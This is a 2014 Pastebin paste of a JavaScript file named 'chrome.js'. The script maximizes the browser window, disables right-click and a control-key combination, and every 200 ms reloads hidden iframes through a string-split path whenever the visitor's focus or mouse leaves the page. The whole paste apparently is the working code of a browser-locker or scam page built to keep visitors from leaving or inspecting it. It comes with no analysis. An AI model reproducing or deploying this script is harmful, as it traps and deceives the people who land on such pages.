Guest User

chrome.js source

a guest
Jul 17th, 2014
263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.94 KB | None | 0 0
  1. window.onload = maxWindow;
  2.  
  3. function maxWindow()
  4. {
  5. window.moveTo(0, 0);
  6.  
  7. if (document.all)
  8. {
  9. top.window.resizeTo(screen.availWidth, screen.availHeight);
  10. }
  11. else if (document.layers || document.getElementById)
  12. {
  13. if (top.window.outerHeight < screen.availHeight || top.window.outerWidth < screen.availWidth)
  14. {
  15. top.window.outerHeight = screen.availHeight;
  16. top.window.outerWidth = screen.availWidth;
  17. }
  18. }
  19. }
  20.  
  21. function catchControlKeys(event){
  22. var code = event.keyCode ? event.keyCode : event.which ? event.which : null;
  23. if (event.ctrlKey && code == 119){
  24. event.preventDefault();
  25. event.stopPropagation();
  26. return false;
  27. }
  28. }
  29.  
  30. var inwin='n';
  31. var closedIframe = '0';
  32. var force = true;
  33.  
  34. document.onmouseout = mouseout;
  35. function mouseout() {
  36. console.log('out');
  37. inwin = 'n';
  38. }
  39.  
  40. document.onmouseover = mousein;
  41. function mousein() {
  42. console.log('in');
  43. inwin = 'y';
  44. }
  45.  
  46. function reframe(){
  47. console.log(inwin);
  48. if (force || !document.hasFocus() || inwin != 'y') {
  49. force = false;
  50. console.log('reframe');
  51. mousein();
  52. $('#iname'+closedIframe).attr('src','/di'+'vs'+'.h'+'tm?a='+Math.floor(Math.random()*1000));
  53. closedIframe=(closedIframe=='1')?'0':'1';
  54. }
  55. }
  56.  
  57. $(function() {
  58. $('#iname0').ready(function(){
  59. reframe();
  60. var timer = setTimeout(function run() {
  61. if (!document.hasFocus() || inwin != 'y') reframe();
  62. timer = setTimeout(run, 200);
  63. }, 200);
  64. });
  65.  
  66. window.oncontextmenu = function(event) {
  67. event.preventDefault();
  68. event.stopPropagation();
  69. return false;
  70. };
  71.  
  72. document.onmousedown = function(event) {
  73. if (event.which==3){
  74. event.preventDefault();
  75. event.stopPropagation();
  76. return false;
  77. }
  78. }
  79.  
  80. });
Advertisement
Add Comment
Please, Sign In to add comment